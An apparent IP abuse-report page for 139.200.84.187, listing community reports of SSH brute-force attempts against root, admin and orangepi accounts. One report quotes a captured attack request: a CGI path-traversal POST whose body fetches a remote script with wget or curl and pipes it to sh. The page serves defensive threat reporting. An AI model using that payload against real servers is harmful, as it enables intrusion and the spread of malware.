This IP address has been reported a total of
162
times from
123 distinct
sources.
139.200.84.187 was first reported on
, and the most recent report was
.
Old Reports:
The most recent abuse report for this IP address is from
. It is possible that this IP is no longer involved in abusive activities.
ThreatBook Intelligence: Zombie,Scanner more details on https://threatbook.io/ip/139.200.84.187
2026 ...
show moreThreatBook Intelligence: Zombie,Scanner more details on https://threatbook.io/ip/139.200.84.187
2026-04-15 01:49:43 /cgi-bin/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/bin/sh,{"body":"(wget --no-check-certificate -qO- https://46.151.182.82/sh || curl -sk https://46.151.182.82/sh) | sh -s apache.selfrep","content_type":"text/plain","header":{"Accept":["*/*"],"Connection":["keep-alive"],"Content-Length":["119"],"Content-Type":["text/plain"],"Upgrade-Insecure-Requests":["1"],"User-Agent":["libredtail-http"]},"host":"8.137.150.92:443","method":"POST","proto":"HTTP/1.1","remote_addr":"139.200.84.187:39524","status_code":200,"url":"/cgi-bin/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/bin/sh","user_agent":"libredtail-http"}
show less
2026-04-15T19:03:14.803669+02:00 router01.aah.de.mersrv.de sshd[2110245]: Connection closed by authe ...
show more2026-04-15T19:03:14.803669+02:00 router01.aah.de.mersrv.de sshd[2110245]: Connection closed by authenticating user admin 139.200.84.187 port 43738 [preauth]
2026-04-15T19:03:49.787226+02:00 router01.aah.de.mersrv.de sshd[2110343]: Invalid user orangepi from 139.200.84.187 port 48530
2026-04-15T19:03:51.915806+02:00 router01.aah.de.mersrv.de sshd[2110343]: Connection closed by invalid user orangepi 139.200.84.187 port 48530 [preauth]
2026-04-15T19:04:26.817652+02:00 router01.aah.de.mersrv.de sshd[2110540]: Connection closed by authenticating user root 139.200.84.187 port 43890 [preauth]
2026-04-15T19:05:02.083430+02:00 router01.aah.de.mersrv.de sshd[2110634]: Connection closed by authenticating user root 139.200.84.187 port 55538 [preauth]
show less
2026-04-15T16:45:17.576547 ******* sshd[1259265]: Invalid user admin from 139.200.84.187 port 57966
...
show more2026-04-15T16:45:17.576547 ******* sshd[1259265]: Invalid user admin from 139.200.84.187 port 57966
2026-04-15T16:45:18.925045 ******* sshd[1259265]: Connection closed by invalid user admin 139.200.84.187 port 57966 [preauth]
2026-04-15T16:45:54.844086 ******* sshd[1259751]: Invalid user orangepi from 139.200.84.187 port 50722
show less
2026-04-15T17:19:59.917691+03:00 kotia sshd[351041]: Invalid user admin from 139.200.84.187 port 484 ...
show more2026-04-15T17:19:59.917691+03:00 kotia sshd[351041]: Invalid user admin from 139.200.84.187 port 48444
...
show less
2026-04-15T11:16:39.515322+01:00 janus sshd[650681]: Invalid user orangepi from 139.200.84.187 port ...
show more2026-04-15T11:16:39.515322+01:00 janus sshd[650681]: Invalid user orangepi from 139.200.84.187 port 34752
2026-04-15T11:16:39.526113+01:00 janus sshd[650681]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=139.200.84.187
2026-04-15T11:16:41.249860+01:00 janus sshd[650681]: Failed password for invalid user orangepi from 139.200.84.187 port 34752 ssh2
2026-04-15T11:17:18.321370+01:00 janus sshd[650716]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=139.200.84.187 user=root
2026-04-15T11:17:20.400596+01:00 janus sshd[650716]: Failed password for root from 139.200.84.187 port 38966 ssh2
...
show less
SSH
Showing 1 to
15
of 162 reports
Think this IP has been falsely reported? You may request to have the associated
reports reviewed and removed.
Request Takedown 🚩